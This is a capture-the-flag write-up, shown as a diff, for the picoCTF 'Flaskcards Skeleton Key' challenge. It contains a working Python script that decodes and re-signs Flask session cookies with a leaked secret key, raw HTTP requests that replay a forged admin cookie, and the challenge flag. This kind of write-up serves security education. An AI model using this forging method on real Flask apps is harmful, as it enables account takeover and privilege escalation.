|
| 1 | +# Flaskcards Skeleton Key - 600 points |
| 2 | + |
| 3 | +Nice! You found out they were sending the `Secret_key: a155eb4e1743baef085ff6ecfed943f2`. Now, can you find a way to log in as admin? [link](http://2018shell1.picoctf.com:53588). |
| 4 | + |
| 5 | +Hint: What can you do with a flask Secret_Key? |
| 6 | + |
| 7 | +### Solution |
| 8 | +###### Writeup by asinggih |
| 9 | + |
| 10 | +This particular challenge seems to be a continuation of the previous [Flaskcards](./flaskcards) challenge. Now that we have the Flask's `Secret_key`, what can we do with it? There is an admin tab after we're logged in as a general user. However, it says that we're not an admin and there's nothing to see there. |
| 11 | + |
| 12 | +<p align="center"> |
| 13 | + <img src="../screenshots/fcs_1.png"> |
| 14 | +</p> |
| 15 | + |
| 16 | +In order to login as an admin, first, I created a new flash card, while intercepting the request by using burpsuite. |
| 17 | + |
| 18 | +<p align="center"> |
| 19 | + <img src="../screenshots/fcs_0.png"> |
| 20 | +</p> |
| 21 | + |
| 22 | + |
| 23 | +```sh |
| 24 | +POST /create_card HTTP/1.1 |
| 25 | +Host: 2018shell1.picoctf.com:53588 |
| 26 | +Content-Length: 152 |
| 27 | +Cache-Control: max-age=0 |
| 28 | +Origin: http://2018shell1.picoctf.com:53588 |
| 29 | +Upgrade-Insecure-Requests: 1 |
| 30 | +Content-Type: application/x-www-form-urlencoded |
| 31 | +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
| 32 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 |
| 33 | +Referer: http://2018shell1.picoctf.com:53588/create_card |
| 34 | +Accept-Encoding: gzip, deflate |
| 35 | +Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 |
| 36 | +Cookie: session=.eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCgDdvwRpBTpzOLFqTiIlknNzniP13gqD8fwGlST6Z.DtjnWg.Sk7WxgzkWREY4N5ZLkHacHt47VU |
| 37 | +Connection: close |
| 38 | + |
| 39 | +csrf_token=IjllNDExZGRlYjAwMGQ1ZDVlNGJlZTJkMjRmZDQ0NmIzZjIyNDIyNjgi.DtjnXg.0UCAew6DkHVlw9J_WLIq-_QuwVg&question=How+are+you%3F&answer=good&submit=Create |
| 40 | +``` |
| 41 | + |
| 42 | +We can see inside the intercepted http request that we have been assigned a session cookie by the server, and it's always interesting to see what's inside a session cookie. I tried to decode the session cookie using a base64 decoder, but it gave me a gibberish text. So i googled on how to decode a flask session, and do a bit of readings on Flask's method in creating the session cookies, I came across this [gist](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe), which helped me to decode the particular user's session cookie. I only did some modifications to fit my python environment and the challenge. |
| 43 | + |
| 44 | +```python |
| 45 | +#!/usr/bin/env python3 |
| 46 | +# |
| 47 | +# Snippet was originally written by github.com/aescalana |
| 48 | +# https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe |
| 49 | +# |
| 50 | +# Some modifications were added to fit my python environment and the particular challenge |
| 51 | +# |
| 52 | + |
| 53 | +import hashlib |
| 54 | +from flask.sessions import SecureCookieSessionInterface |
| 55 | +from itsdangerous import URLSafeTimedSerializer |
| 56 | + |
| 57 | +class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): |
| 58 | + # Override method |
| 59 | + # Take secret_key instead of an instance of a Flask app |
| 60 | + def get_signing_serializer(self, secret_key): |
| 61 | + if not secret_key: |
| 62 | + return None |
| 63 | + signer_kwargs = dict( |
| 64 | + key_derivation='hmac', |
| 65 | + digest_method = hashlib.sha1 |
| 66 | + ) |
| 67 | + return URLSafeTimedSerializer(secret_key, salt='cookie-session', |
| 68 | + serializer=self.serializer, |
| 69 | + signer_kwargs=signer_kwargs) |
| 70 | + |
| 71 | +def decodeFlaskCookie(secret_key, cookieValue): |
| 72 | + sscsi = SimpleSecureCookieSessionInterface() |
| 73 | + signingSerializer = sscsi.get_signing_serializer(secret_key) |
| 74 | + return signingSerializer.loads(cookieValue) |
| 75 | + |
| 76 | +# Keep in mind that flask uses unicode strings for the |
| 77 | +# dictionary keys |
| 78 | +def encodeFlaskCookie(secret_key, cookieDict): |
| 79 | + sscsi = SimpleSecureCookieSessionInterface() |
| 80 | + signingSerializer = sscsi.get_signing_serializer(secret_key) |
| 81 | + return signingSerializer.dumps(cookieDict) |
| 82 | + |
| 83 | +if __name__=='__main__': |
| 84 | + sk = 'a155eb4e1743baef085ff6ecfed943f2' |
| 85 | + cookie = ".eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCg" |
| 86 | + decodedDict = decodeFlaskCookie(sk, cookie) |
| 87 | + print(decodedDict) |
| 88 | + |
| 89 | + # cookie = encodeFlaskCookie(sk, sessionDict) |
| 90 | + |
| 91 | +``` |
| 92 | + |
| 93 | +The code above spits out the decoded session cookie! |
| 94 | + |
| 95 | +``` |
| 96 | +{ |
| 97 | + '_fresh': True, |
| 98 | + '_id': '773075b89921b2ddc02f6ceb9d7b16fef9150516f4af2011e23bc1c51b48bb6aff61c674c24656da12344f8b0443b962ec5770c102fa86579c01d1982e2e4d6a', |
| 99 | + 'csrf_token': '9e411ddeb000d5d5e4bee2d24fd446b3f2242268', |
| 100 | + 'user_id': '20' |
| 101 | +} |
| 102 | +``` |
| 103 | + |
| 104 | +Looking at the decoded session, it can be seen that the `'user_id'` key seems to be quite important. According to this number, it is possible that the app generates the `user_id` sequentially. Moreover, it is also quite logical to think that an admin user / superuser should have a lower `user_id` number than my current user, since it should've been the first user to be created when creating this app. Therefore, I tried to modified the `user_id` into `0`, encoded back to its encoded form, and used it as the new session. Didn't work. Hence, i tried `1` as the `user_id`. |
| 105 | + |
| 106 | +```python |
| 107 | +# a continuation from the previous python code |
| 108 | + ... |
| 109 | + return signingSerializer.dumps(cookieDict) |
| 110 | + |
| 111 | +if __name__=='__main__': |
| 112 | + sk = 'a155eb4e1743baef085ff6ecfed943f2' |
| 113 | + ... |
| 114 | + ... |
| 115 | + modified_session = { |
| 116 | + '_fresh': True, |
| 117 | + '_id': '773075b89921b2ddc02f6ceb9d7b16fef9150516f4af2011e23bc1c51b48bb6aff61c674c24656da12344f8b0443b962ec5770c102fa86579c01d1982e2e4d6a', |
| 118 | + 'csrf_token': '9e411ddeb000d5d5e4bee2d24fd446b3f2242268', |
| 119 | + 'user_id': '1' |
| 120 | + } |
| 121 | + |
| 122 | + sessionDict = encodeFlaskCookie(sk, modified_session) |
| 123 | + print(sessionDict) |
| 124 | + |
| 125 | +``` |
| 126 | + |
| 127 | +The print out of `sessionDict` can then be injected to the server by modifying the `session=.....` part of the previously intercepted http request when creating the flashcard. |
| 128 | + |
| 129 | +```txt |
| 130 | +
|
| 131 | +POST /create_card HTTP/1.1 |
| 132 | +Host: 2018shell1.picoctf.com:53588 |
| 133 | +Content-Length: 152 |
| 134 | +Cache-Control: max-age=0 |
| 135 | +Origin: http://2018shell1.picoctf.com:53588 |
| 136 | +Upgrade-Insecure-Requests: 1 |
| 137 | +Content-Type: application/x-www-form-urlencoded |
| 138 | +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 |
| 139 | +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 |
| 140 | +Referer: http://2018shell1.picoctf.com:53588/create_card |
| 141 | +Accept-Encoding: gzip, deflate |
| 142 | +Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 |
| 143 | +Cookie: session=.eJwlj0uOAjEMBe-SNQvbcZyEy7Tin0BIIHXDajR3pyV2b1Olen9lyz2OW7m-909cynb3ci29V-hNx5yESu4GlGKh07uiZOTEBu1cvJIAMaiqoTVUHqqyMgVNOhuxNPGFVJlzKDBXnUJhrXcwPLVrSOvTAB3noKBgl1UuxY49t_frEc-zZwYjuocCgDdvwRpBTpzOLFqTiIlknNzniP13Asv_F2bsPmg.Dtj9xw.5K02CDzdrQET95f_qpME7gh9mS8 |
| 144 | +Connection: close |
| 145 | +
|
| 146 | +csrf_token=IjllNDExZGRlYjAwMGQ1ZDVlNGJlZTJkMjRmZDQ0NmIzZjIyNDIyNjgi.DtjnXg.0UCAew6DkHVlw9J_WLIq-_QuwVg&question=How+are+you%3F&answer=good&submit=Create |
| 147 | +
|
| 148 | +``` |
| 149 | + |
| 150 | +After forwarding the request, and created the card, I tried to visit the admin page again, and voila! |
| 151 | + |
| 152 | +<p align="center"> |
| 153 | + <img src="../screenshots/fcs_2.png"> |
| 154 | +</p> |
| 155 | + |
| 156 | + |
| 157 | +## Flag |
| 158 | +>Your flag is: picoCTF{1_id_to_rule_them_all_8f9d57f1} |
| 159 | +
|
0 commit comments